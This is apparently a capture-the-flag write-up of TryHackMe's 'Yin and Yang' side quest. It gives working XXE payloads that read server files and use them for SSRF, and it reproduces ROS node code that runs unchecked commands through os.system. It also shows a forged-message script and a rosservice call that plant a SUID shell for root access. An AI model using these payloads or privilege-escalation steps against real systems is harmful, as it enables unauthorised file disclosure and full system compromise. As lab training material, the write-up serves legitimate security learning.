T2: Yin and Yang

Penguin Zero, the tech genius of the Frostlings Five infiltrated the company’s network. With a few keystrokes and a sly grin, he uploaded a malicious script into YIN and YANG, seizing control.

Advent of Cyber '24 Side QuestTryHackMe

The following post by 0xb0b is licensed under CC BY 4.0

---

L2 Keycard

We find the keycard for the second Side Quest hidden in the task of the fifth day of the TryHackMe Advent Of Cyber. The following task, it gives us a hint to test for other services running on the target machine: Following McSkidy's advice, Software recently hardened the server. It used to have many unneeded open ports, but not anymore. Not that this matters in any way.

Day 5: SOC-mas XX-what-ee?

We continue to test the web application with the available XXE.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
	<user_id>1</user_id>
	<item>
	       <product_id>&payload;</product_id>
	</item>
</wishlist>

We try to include files that give us information about other services that may be running.

The /etc/apache2/sites-enabled/000-default.conf file contains the default configuration for the Apache web server's virtual host. It typically specifies the document root, logging paths, and any default behavior. By inspecting it, it can reveal references to other services or applications hosted on the server. Unfortunately, we cannot include it directly, because it fails to parse XML since the file itself contains XML data.

/etc/apache2/sites-enabled/000-default.conf

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/apache2/sites-enabled/000-default.conf"> ]>
<wishlist>
	<user_id>1</user_id>
	<item>
	       <product_id>&payload;</product_id>
	</item>
</wishlist>

A workaround is to use PHP filters to encode the data. With that, we are able to retrieve the information hidden in /etc/apache2/sites-enabled/000-default.conf.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" >]>
<wishlist>
    <user_id>1</user_id>
    <item>
           <product_id>&payload;</product_id>
    </item>
</wishlist>
            

After we have decoded the content we see that another service is running on port 8080 on local host. With a very suspicious root directory /var/www/ssfr. We also see that the access.log and error.log are in the web root directory. So we might leverage the XXE to an Server Side Request Forgery SSRF.

We first try to make a request to the index page of the web service on port 8080 running locally. To do that, we reuse the payload using PHP filters.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080" >]>
<wishlist>
    <user_id>1</user_id>
    <item>
           <product_id>&payload;</product_id>
    </item>
</wishlist>
            

The page links to access.log.

We now query the access.log page...

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/access.log"> ]>
<wishlist>
  <user_id>1</user_id>
     <item>
       <product_id>&payload;</product_id>
     </item>
</wishlist>

And see that the following image /k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png was being requested.

We can then request this on the exposed web server and find the keycard.

/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png

Teardown Firewall

The first thing we have to do is shut down the firewall. We can find the page for this on port 21337.

In this challenge, we operate with two machines, Yin and Yang. The room to the Yang machine is linked separately, but this also requires the Firewall to be shut down.

We visit the web pages to unlock the firewall...

... and enter the keycard key for each machine.

SSH Into The Machines

Since the ports are now open, we can SSH into the yin and...

... yang machine.

Recon

On yin, we can see that we are allowed to run /catkin_ws/yin.sh as root using sudo.

The same goes for yang. Here we are allowed to run /catkin_ws/yang.sh. Inspecting the script, we can see it is running rosrun on runyang.py. The rosrun command is part of ROS, the Robot Operating System. The rosrun command allows running an executable in an arbitrary package.

We give it a try and run yin.sh. But it could not register to the master node on http://localhost:11311. The ROS server is not running locally. We get now a glimpse of why we have two machines to compromise. On each of them, it might have to run the ROS server to get the command executed. But first, let's inspect what is actually running.

Let's inspect the node scripts that are available.

The class Yin, is a ROS (Robot Operating System) node that communicates with a communication system and uses message signing and verification features. The node uses the Comms message type to publish messages to a topic named messagebus.

To sign messages, the class retrieves a private RSA key from a file called privatekey.pem.

To carry out commands given with a secret key for verification, the node provides a service svc_yang.

Using the private RSA key, the script generates messages that contain a timestamp, sender, receiver, action, and feedback. It then sends these messages to the messagebus for signing.

The node periodically sends a "ping" message to a receiver yang with a simple shell command touch /home/yang/yin.txt.

/catkin_ws/src/yin/scripts/runyin.py

#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yin:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yin')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.command

        os.system(action)

        response = "Action performed"

        return response


    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())  

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
        message.actionparams = ['touch /home/yang/yin.txt']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message

    def send_pings(self):
        # Yang
        message = self.craft_ping("Yang")
        message = self.sign_message(message)
        self.messagebus.publish(message)

    def run_yin(self):
        while not rospy.is_shutdown():
            self.send_pings()
            self.prompt_rate.sleep()

if __name__ == '__main__':
    try:
        yin = Yin()
        yin.run_yin()

    except rospy.ROSInterruptException:
        pass

Service Call: After performing the action, the node calls a service (svc_yang) to request an action from "Yin".
Message Reply: After executing the command, it constructs a reply message and signs it before publishing it back to the messagebus topic.

The script on yang is another ROS node that uses secure message handling, command execution, and message signing to communicate with a communication system. If orders are verified, it carries them out and subscribes to messages on the messagebus subject.

It reads a private RSA key for message signing from a file privatekey.pem, just like the last script did.

The node receives inbound messages meant for yang and subscribes to the messagebus topic.

It uses os.system to carry out the commands entered in the message's actionparams field following message validation.

The node requests an action from "Yin" by calling a service svc_yang after completing the action. The command is executed, and a reply message is created, signed, and then published back to the messagebus subject.

/catkin_ws/src/yang/scripts/runyang.py

#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yang.msg import Comms
from yang.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yang:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yang')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        rospy.Subscriber('messagebus', Comms, self.callback)

    def callback(self, data):
        #First check to do is see if this is a message for us and one we need to respond to
        if (data.receiver != "Yang"):
            return

        #Now we know the message is for us. We can start system checks to see if it is a valid message
        if (not self.validate_message(data)):
            print ("Message could not be validated")
            return

        #Now we can action the message and send a reply
        for action in data.actionparams:
            os.system(action)

        #Now request an action from Yin
        self.yin_request()

        #Send reply
        reply = Comms()
        reply.timestamp = str(rospy.get_time())
        reply.sender = "Yang"
        reply.receiver = "Yin"
        reply.action = 2
        reply.actionparams = []
        reply.actionparams.append(self.priv_key_str)
        reply.feedback = "Action Done"
        reply.hmac = ""

        reply = self.sign_message(reply)

        self.messagebus.publish(reply)

    def validate_message(self, message):
        valid = True
        #Only accept messages from the allfather
        if (message.sender != "Yin"):
            valid = False
            print ("Message is not from Yin")
            return valid

        #First we need to validate the timestamp. The difference should not be bigger than threshold
        current_time = str(rospy.get_time())
        current_time_sec = int(current_time.split('.')[0])
        current_time_nsec = int(current_time.split('.')[1])
        message_time_sec = int(message.timestamp.split('.')[0])
        message_time_nsec = int(message.timestamp.split('.')[1])

        second_diff = current_time_sec - message_time_sec
        nsecond_diff = current_time_nsec - message_time_nsec

        if (second_diff <= 1):
            print ("Time difference is acceptable to answer message and not a replay")
        else:
            print ("Message is a replay and should be discarded")
            valid = False
            return valid
            # Here we want to respond and say that time is not acceptable thus regarded as replay

        #Now we need to validate the signature
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()

        if (message.hmac != sig):
            print ("Signature verification failed")
            valid = False
            # Respond and say signature failed

        return valid

    def yin_request(self):
        resp = ""
        rospy.wait_for_service('svc_yang')
        try:
            service = rospy.ServiceProxy('svc_yang', yangrequest)
            response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
        except rospy.ServiceException as e:
            print ("Failed: %s"%e)
        resp = response.response
        return resp


    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.action

        os.system(action)

        response = "Action performed"

        return response

    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())  

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def run_yang(self):
        rospy.spin()

if __name__ == '__main__':
    try:
        yang = Yang()
        yang.run_yang()

    except rospy.ROSInterruptException:
        pass

Exploit Yang

In the script of yin, we can see a ping is crafted; the script can only be run by root, since the private key used has only read permission for root. So we cannot just change the script to create other files than that in the ping request.

But in the script of yang, we can see that the script is making a callback with the contents of the private key.

The idea is now to run a ROS master on yin, get the communication of both started, and inspect the messagebus topic on yang server to inspect the private key sent in the callback.

With that retrieved private key, we can then can craft our own script that, instead of doing a ping, crafts us a SUID bit /bin/bash binary.

So we are now on yin:

Retreive The Private Key

We run roscore to set up the server and start the yin script.

roscore &

sudo /catkin_ws/yin.sh &

Next, we need to make the yin master available for yang. To do this, we use port forwarding via SSH. We log in to yang and forward 11311 of yin to yang.

ssh -L 11311:localhost:11311 yin@10.10.85.62

Now we are able to run /catkin_ws/yang.sh on yang and see the handler validate the messages.

sudo /catkin_ws/yang.sh

On yang, we can now see the messages sent on the topic via rostopic echo /messagebus and see the RSA Private Key transmitted. This is the callback we are inspecting right now.

        #Send reply
        reply = Comms()
        reply.timestamp = str(rospy.get_time())
        reply.sender = "Yang"
        reply.receiver = "Yin"
        reply.action = 2
        reply.actionparams = []
        reply.actionparams.append(self.priv_key_str)
        reply.feedback = "Action Done"
        reply.hmac = ""

rostopic echo /messagebus

Exploiting ROS Communication With Yin's Private Key

We copy the src of /catkin_ws/src/ into /home/yin/yin.

cp -r /catkin_ws/src/ yin

There we create a suid.py, which is essentially a copy of /catkin_ws/src/yin/scripts/runyin.py with minor changes.

This uses the retrieved private key we placed in /home/yin/yin/privatekey.pem and instead of just creating an empty file, we now create a SUID bit binary with cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh.

suid.py

#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yin:
    def __init__(self):

        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/home/yin/yin/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yrdy')

        self.prompt_rate = rospy.Rate(0.5)

    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
        message.actionparams = ['cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message

    def send_pings(self):
        # Yang
        message = self.craft_ping("Yang")
        message = self.sign_message(message)
        self.messagebus.publish(message)

    def run_yin(self):
        # while not rospy.is_shutdown():
        self.send_pings()
        self.prompt_rate.sleep()

if __name__ == '__main__':
    try:
        yin = Yin()
        yin.run_yin()

    except rospy.ROSInterruptException:
        pass

Now we run the ROS master on yang. The instance on yin has to be terminated.

roscore &

We run the /catkin_ws/yang.sh script on yang.

sudo /catkin_ws/yang.sh

And make the server available on yin using port forwarding via SSH.

ssh -L 11311:localhost:11311 yang@10.10.92.55

We save the private key formerly retrieved at /home/yin/yin/privatekey.pem.

And now run our suid.py. Which does not require root permission, since we are now in possession of the private key.

On yang, we can see that the SUID bit binary sh is created. We can now read the /root/yang.txt file, which contains the flag for yang.

We are now also able to read the secret used by yang. So we could potentially craft messages as yang for the svc_yang handler.

Exploit Yin

Instead of crafting a script like before, we could do it more easily, since we are in possession of the secret of yang. With that secret, we can impersonate the yang machine and craft messages as they were sent from yang. We just need to know how to call the services properly. For this, we find the following wiki entry:

rosservice - ROS Wikiwiki.ros.org

We can call the service by the following:

rosservice call /service_name service-args

From the following snippet, we can see that there is a yang service served. Which triggers the handle_yang_request, allowing to run system commands via os.system(action).

class Yin:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yin')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
   ... 
    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.command

        os.system(action)

        response = "Action performed"

        return response

After running roscore on yang, forwarding the port of the master on yin via ssh -L 11311:localhost:11311 yang@yang_ip, and executing each sudo /catkin_ws/yin.sh and sudo /catkin_ws/yang.sh on the respecting machine, we have the following services available:

Among them is the svc_yang, which allows us to execute commands.

rosservce list

We inspect the svc_yang service to see what parameters are required.

rosservice info svc_yang

How the arguments have to be supplied can be seen here:

rosservice - ROS Wikiwiki.ros.org

ROS/YAMLCommandLine - ROS Wikiwiki.ros.org

On yin we can now make a service call impersonating yang, that creates us an SUID bit binary sh, with that we can get a root shell and find the yin flag in /root/yin.txt.

rosservice call /svc_yang "{'secret': 'REDACTED', 'command': 'cp /bin/sh /home/yin/sh; chmod u+s /home/yin/sh', 'sender': 'Yang', 'receiver': 'Yin'}"